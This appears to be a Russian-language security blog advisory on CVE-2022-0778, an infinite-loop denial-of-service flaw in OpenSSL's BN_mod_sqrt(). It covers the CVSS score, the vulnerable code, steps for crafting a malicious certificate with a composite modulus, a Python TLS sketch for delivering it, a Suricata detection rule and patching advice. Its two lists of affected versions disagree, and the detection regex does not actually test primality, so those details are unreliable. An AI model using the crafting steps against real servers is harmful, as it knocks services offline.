Уязвимость функции BN_mod_sqrt() библиотеки OpenSSL
Уязвимость функции BN_mod_sqrt() библиотеки OpenSSL
Категория: Программы Теги: Уязвимости Опубликовано: 24 июня 2025

Уязвимость BDU:2022-01315 (CVE-2022-0778) OpenSSL

Уязвимость BDU:2022-01315 (CVE-2022-0778) в функции BN_mod_sqrt() библиотеки OpenSSL позволяет вызвать бесконечный цикл при обработке специально сконструированных сертификатов с не простыми модулями в параметрах эллиптических кривых. Это приводит к отказу в обслуживании (DoS) в сервисах, использующих OpenSSL для разбора сертификатов (TLS-серверы, центры сертификации, VPN).

Анализ уязвимости

Уровень опасности: 7.5 HIGH
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • AV:N (Attack Vector: Network) - Атака через сеть: эксплуатация возможна удалённо без физического доступа.

  • AC:L (Attack Complexity: Low) - Низкая сложность: атака не требует сложных условий.

  • PR:N (Privileges Required: None) - Нет требований к привилегиям: атакующий не нуждается в учётных данных.

  • UI:N (User Interaction: None) - Без взаимодействия: пользователю не нужно совершать действий.

  • S:U (Scope: Unchanged) - Область воздействия неизменна: влияет только на целевой компонент.

  • C:N (Confidentiality: None) - Нет влияния на конфиденциальность.

  • I:N (Integrity: None) - Нет влияния на целостность.

  • A:H (Availability: High) - Высокое влияние на доступность: полный отказ сервиса.


Условия эксплуатации:

  1. Целевая система использует уязвимые версии OpenSSL (1.0.2–1.0.2zd, 1.1.1–1.1.1m, 3.0.0–3.0.1).

  2. Сервис обрабатывает внешние сертификаты:

    • TLS-серверы, проверяющие клиентские сертификаты.

    • Центры сертификации (CA), обрабатывающие запросы CSR.

    • Приложения, использующие BN_mod_sqrt() (например, для распаковки точек эллиптических кривых).

  3. Атакующий может передать вредоносный сертификат через:

    • TLS handshake (как клиентский/серверный сертификат).

    • Загрузку в CA-системы (например, панели управления веб-хостов).
      Не требуется доступ во внутреннюю сеть.

Уязвимые версии

  • OpenSSL от 3.0.0 до 3.0.2    
  • OpenSSL от 1.1.1 до 1.1.1n    
  • OpenSSL от 1.0.2 до 1.0.2zd

Технический анализ уязвимости

Корень проблемы: Функция BN_mod_sqrt() реализует алгоритм Тонелли-Шенкса для вычисления квадратного корня по модулю простого числа. При передаче составного модуля (не простого числа) алгоритм входит в бесконечный цикл из-за отсутствия проверки простоты:

// Уязвимый код (OpenSSL до патча)
i = 1;
while (!BN_is_one(t)) {
  i++;
  if (i == e) goto end; // Проверка не срабатывает при составном p
  BN_mod_mul(t, t, t, p, ctx); // Бесконечный цикл!
}

Почему это происходит:
Алгоритм предполагает, что модуль p простой. При p = 697 (17×41) и значении a = 696 условие BN_is_one(t) никогда не выполняется, так как порядок мультипликативной группы модуля не совпадает с p-1.


Анализ эксплоитов

Рассмотрим код эксплоитов для понимания работы вектора атаки с использованием уязвимости CVE-2022-0778.

1. Создание вредоносного сертификата

Цель: Генерация сертификата с параметрами, вызывающими бесконечный цикл в BN_mod_sqrt().
Шаги:

  • Параметры кривой:

    p = 697  # Составной модуль (17×41)
    a = 23   # Коэффициент кривой
    b = 0    # Коэффициент кривой
    base_point = (8, 0)  # Сжатая точка генератора (X=8, Y не вычисляется)
  • Инструменты:

    • Ручное редактирование ASN.1 структур через xxd или автоматизация с asn1template:

      ./asn1template.pl cert.der > cert.tpl
      # Изменяем параметры в cert.tpl:
      field36 = INTEGER:0x2B9      # p=697
      field37 = OCTETSTRING:0x17   # a=23
      field38 = OCTETSTRING:0x00   # b=0
      field32 = OCTETSTRING:0x030008 # Сжатая точка (X=8)
      openssl asn1parse -genconf cert_new.tpl -out crafted.der

Результат: Сертификат crafted.der при разборе через openssl x509 -in crafted.der -text вызывает 100% загрузку CPU.

2. Эксплуатация через TLS

Цель: Перехват TLS handshake для подмены клиентского сертификата.
Код на Python (с использованием tlslite-ng):

class CraftedTLSConnection(TLSConnection):
    def _clientKeyExchange(self, ...):
        if server_requested_cert:
            crafted_cert = load_der("crafted.der")
            self._sendMsg(CraftedCertificate(crafted_cert))  # Отправка вредоносного сертификата

# Запуск атаки:
sock = socket.connect((target, 443))
conn = CraftedTLSConnection(sock)
conn.handshakeClientCert()  # Инициируем рукопожатие

Условия:

  • Сервер запрашивает клиентский сертификат (например, корпоративные VPN/API).

  • Сервер использует уязвимую OpenSSL.


Возможные последствия

  • Отказ в обслуживании (DoS): Процесс OpenSSL уходит в бесконечный цикл (100% CPU), останавливая обработку запросов.

  • Масштабируемость: Один сертификат может вывести из строя несколько сервисов (TLS-серверы, CA, клиенты).

  • Примеры уязвимых систем:

    • Веб-серверы (Apache/nginx с клиентской аутентификацией).

    • VPN (OpenVPN, WireGuard с TLS).

    • Почтовые серверы (SMTP с STARTTLS).


Способы защиты

  1. Обновление OpenSSL:

    • OpenSSL 1.1.1n+

    • OpenSSL 3.0.2+

    • OpenSSL 1.0.2zd.

  2. Фильтрация сертификатов на уровне WAF/IPS:
    Правило для Suricata (детектирование параметров с составным модулем):

    alert tls any any -> any any ( 
      msg: "CVE-2022-0778: Malicious Certificate in TLS Handshake";
      tls.certificate; 
      content: "|30 82|"; depth: 2;  # ASN.1 SEQUENCE
      content: "|06 07 2A 86 48 CE 3D 02 01|";  # OID explicitPrime (1.2.840.10045.1.1)
      content: "|02|"; within: 100;  # INTEGER (поле Prime)
      regex: "/\x02\x02[\x00-\xFF](?!\x00\x01\x00\x01)/";  # Детектирование не простых чисел
      sid: 20220778;
    )

    Условия срабатывания:

    • Сертификат содержит явные параметры кривой (OID 1.2.840.10045.1.1).

    • Поле Prime не является простым числом (проверка регулярным выражением).

  3. Отключение опасных фич:

    • Для TLS-серверов: отключите клиентскую аутентификацию, если она не требуется.

    • В OpenSSL: запретите сжатые точки через -conv_form uncompressed при генерации ключей.


Заключение

BDU:2022-01315 (CVE-2022-0778) — критическая уязвимость DoS, затрагивающая фундаментальные компоненты OpenSSL. Её эксплуатация тривиальна, но последствия ограничиваются отказами в обслуживании. Ключевая мера защиты — обновление библиотеки. WAF/IPS могут использоваться для блокировки известных шаблонов вредоносных сертификатов, но не заменяют патчинг.

Алексей Черемных Алексей Черемных
37